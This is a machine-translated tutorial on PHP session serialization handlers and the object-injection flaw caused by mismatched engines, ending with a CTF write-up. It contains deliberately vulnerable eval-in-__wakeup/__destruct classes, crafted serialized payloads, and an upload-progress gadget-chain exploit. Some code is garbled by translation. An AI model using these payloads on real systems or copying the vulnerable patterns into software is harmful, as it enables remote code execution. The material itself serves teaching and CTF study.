A detailed explanation of the session deserialization mechanism in PHP

Source: Internet
Author: User
Tags eval php session php and phpinfo serialization

Brief introduction

There are three configuration items in php.ini:

Session.save_path= ""--set the storage path for the session
Session.save_handler= ""--set user-defined storage functions, if you want to use the PHP built-in session storage mechanism can use this function (database, etc.)
Session.auto_start Boolen--Specifies whether the session module starts a session at the start of the request, and defaults to 0 does not start
Session.serialize_handler string-Defines the name of the processor used to serialize/deserialize. Use PHP by default
The above options are the options associated with session storage and sequence store in PHP.
In the installation of the XAMPP component, the configuration items above are set as follows:

Session.save_path= "D:\xampp\tmp" indicates that all session files are stored under Xampp/tmp
Session.save_handler=files indicates that the session is stored as a file
Session.auto_start=0 indicates that the session is not started by default
Session.serialize_handler=php indicates that the default sequence session engine is using the PHP serial conversation engine
In the above configuration, Session.serialize_handler is used to set the session's sequence-conversation engine, except for the default PHP engine, there are other engines, different engines corresponding to the memory of the sessions are not the same way.

Php_binary: Storage mode is, the length of the key name corresponding to the ASCII character + key name + after the Serialize () function serialization processing value
PHP: Storage mode, key name + vertical bar + serialize () function sequence processing value
Php_serialize (php>5.5.4): The stored mode is the value that is serialized by the Serialize () function
PHP is the default use of PHP engine, if you want to modify the other engine, only need to add code ini_set (' Session.serialize_handler ', ' need to set the engine ');. The sample code is as follows:

<?php
Ini_set (' Session.serialize_handler ', ' php_serialize ');
Session_Start ();
Do something
Storage mechanism

In PHP, the content in the session is not in memory, but in the way of file storage, the storage mode is determined by the configuration item Session.save_handler, by default, it is stored in the way of file.
The stored file is named after the Sess_sessionid, and the contents of the file are the contents of the session value after the sequence.
Assuming our environment is XAMPP, the default configuration is as described above.
Under the default configuration:


<?php
Session_Start ()
$_session[' name ' = ' Spoock ';
Var_dump ();
?>
The last session is stored and displayed as follows:

You can see that the value of PHPSESSID is JO86UD4JFVU81MBG28SL2S56C2, and the file name stored under Xampp/tmp is SESS_JO86UD4JFVU81MBG28SL2S56C2, and the contents of the file is Name|s:6: " Spoock "; Name is the key value, s:6: "Spoock"; is the result of serialize ("Spoock").

Under the Php_serialize engine:

<?php
Ini_set (' Session.serialize_handler ', ' php_serialize ');
Session_Start ();
$_session[' name ' = ' Spoock ';
Var_dump ();
?>
The contents of the session file are a:1:{s:4: "Name"; s:6: "Spoock"; A:1 are added by using php_serialize to sequence words. Using php_serialize also serializes the key and value in the session.

Under the Php_binary engine:

<?php
Ini_set (' Session.serialize_handler ', ' php_binary ');
Session_Start ();
$_session[' name ' = ' Spoock ';
Var_dump ();
?>
The content of the session file is names:6: "Spoock"; Because the length of the name is 4,4 in the ASCII table corresponds to the EOT. According to the Php_binary storage rules, the last is names:6: "Spoock"; (Suddenly found that the ASCII value of 4 characters can not be displayed on the page, this everyone to check the ASCII table)

Serialization of simple use

test.php

<?php
Class syclover{
var $func = "";
function __construct () {
$this->func = "phpinfo ()";
}
function __wakeup () {
Eval ($this->func);
}
}
Unserialize ($_get[' a ']);
?>

The incoming arguments were serialized on line 11. We can execute the eval () method by passing in a particular string and deserializing it into an example of syclover. We visit Localhost/test.php?a=o:8: "Syclover": 1:{s:4: "Func"; s:14: "Echo" Spoock ";"; So the deserialization gets the following:


Object (Syclover) [1]
Public ' func ' => string ' echo ' Spoock '; (length=14)
The final page output is Spoock, which shows the final implementation of our definition of the echo "Spoock";
This is the demo of a simple serialization vulnerability

The danger of serialization in PHP session

PHP in the implementation of the session is not the problem, the main harm is due to the programmer's session improper use and caused.
If the engine used to deserialize the stored $_session data in PHP is not the same as the engine used for serialization, it can cause the data to be deserialized correctly. By carefully constructed packets, you can bypass the validation of the program or implement some system methods. For example:


$_session[' ryat '] = ' | O:11: "Peopleclass": 0:{} ';

The above $_session data uses php_serialize, then the final storage content is a:1:{s:6: "Spoock"; s:24: "| O:11: "Peopleclass": 0:{} ";}.
But when we read it, we chose PHP, and the last thing we read was:

Array (size=1)
' A:1:{s:6: "Spoock"; s:24: "' =>
Object (__php_incomplete_class) [1]
Public ' __php_incomplete_class_name ' => string ' Peopleclass ' (length=11)

This is because when the PHP engine is used, the PHP engine takes | As the delimiter of key and value, then a:1:{s:6: "Spoock", s:24: "As the key of the session, O:11:" Peopleclass ": 0:{} As value, then deserialize it, and finally get the Peopleclas class.
This is the reason why the PHP session sequence is exploited because of the different engines used for serialization and deserialization.

Practical use

The presence of s1.php and us2.php,2 files uses a different session engine, creating a vulnerability,
s1.php, use Php_serialize to process session

<?php
Ini_set (' Session.serialize_handler ', ' php_serialize ');
Session_Start ();
$_session["Spoock"]=$_get["a"];

us2.php, using PHP to process session


Ini_set (' Session.serialize_handler ', ' php ');
Session_Start ();
Class Lemon {
var $hi;
function __construct () {
$this->hi = ' phpinfo (); ';
}

function __destruct () {
Eval ($this->hi);
}
}

When you visit s1.php, you submit the following data:

localhost/s1.php?a=| O:5: "Lemon": 1:{s:2: "HI"; s:14: "Echo" Spoock ";";}

The incoming data is serialized according to Php_serialize.
At this point, when accessing us2.php, the page output, Spoock successfully executed the function we constructed. Because when accessing us2.php, the program deserializes the data in the session according to PHP, the spoofed data is deserialized, the Lemon object is instantiated, and the eval () method in the destructor is executed.

Ctf

A topic in the Arnhem Cup examines this knowledge point. The key code in the topic is as follows:
class.php

<?php

Highlight_string (file_get_contents (basename ($_server[' php_self ')));
Show_source (__file__);

Class foo1{
Public $varr;
function __construct () {
$this->varr = "index.php";
}
function __destruct () {
if (file_exists ($this->varr)) {
echo "<br> file" $this->varr. " Existence <br> ";
}
echo "<br> This is the destructor <br> of foo1;"
}
}

Class foo2{
Public $varr;
Public $obj;
function __construct () {
$this->varr = ' 1234567890 ';
$this->obj = null;
}
function __tostring () {
$this->obj->execute ();
return $this->varr;
}
function __desctuct () {
echo "<br> This is the destructor <br> of Foo2;"
}
}

Class foo3{
Public $varr;
function Execute () {
Eval ($this->varr);
}
function __desctuct () {
echo "<br> This is the destructor <br> of Foo3;"
}
}

?>
index.php

<?php

Ini_set (' Session.serialize_handler ', ' php ');

Require ("./class.php");

Session_Start ();

$obj = new Foo1 ();

$obj->varr = "phpinfo.php";

?>

Through code discovery, we end up executing our custom functions through execute in FOO3.
So we first build the environment locally and construct the custom functions we need to perform. As follows:
myindex.php

<?php
Class foo3{
Public $varr = ' echo ' Spoock ';
function Execute () {
Eval ($this->varr);
}
}
Class foo2{
Public $varr;
Public $obj;
function __construct () {
$this->varr = ' 1234567890 ';
$this->obj = new Foo3 ();
}
function __tostring () {
$this->obj->execute ();
return $this->varr;
}
}

Class foo1{
Public $varr;
function __construct () {
$this->varr = new Foo2 ();
}
}


$obj = new Foo1 ();
Print_r (Serialize ($obj));
?>

In the constructor in Foo1, the $varr value is defined as an instance of Foo2, an instance of $obj is defined in Foo2, and the value of FOO3 is defined in Foo3 as echo "$varr". The value of the resulting sequence of words is


O:4: "foo1": 1:{s:4: "Varr" O:4: "Foo2": 2:{s:4: "Varr"; s:10: "1234567890"; s:3: "obj"; O:4: "Foo3": 1:{s:4: "Varr"; s:14: " echo "Spoock"; ";}}}

This way, when the value of the above sequence is written to the server, and then the index.php of the server is accessed, it will eventually execute our predefined echo "Spoock".
The main way to write is to use PHP session Upload progress to set up, specifically, when uploading files, if post a variable named php_session_upload_progress, You can assign the value of filename to the session, and the uploaded page is written as follows:

<form action= "index.php" method= "POST" enctype= "Multipart/form-data" >
<input type= "hidden" name= "php_session_upload_progress" value= "123"/>
<input type= "File" name= "file"/>
<input type= "Submit"/>
</form>
Finally, the file name will be written to the session, the specific implementation details can refer to the PHP manual.
Then the file name that is eventually written is | O:4:\ "foo1\": 1:{s:4:\ "varr\" O:4:\ "foo2\": 2:{s:4:\ "varr\" s:1:\ "1\" s:3:\ "obj\" O:4:\ "foo3\": 1:{s:4:\ "varr\"; s : 12:\ "var_dump (1); \";}}}. Note that the difference from local deserialization is to add the front |
But when I was doing a local test, I found that it was not possible to achieve the results of the Arnhem problem, but the final principle was the same.

Summarize

Through the analysis of the session in PHP, the implementation of the session in PHP has a more profound understanding of the principle. This PHP session problem is also a good question. The above article not only makes everyone in PHP session serialization vulnerability has an understanding, but also helps programmers to enhance the session in PHP understanding of the mechanism.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.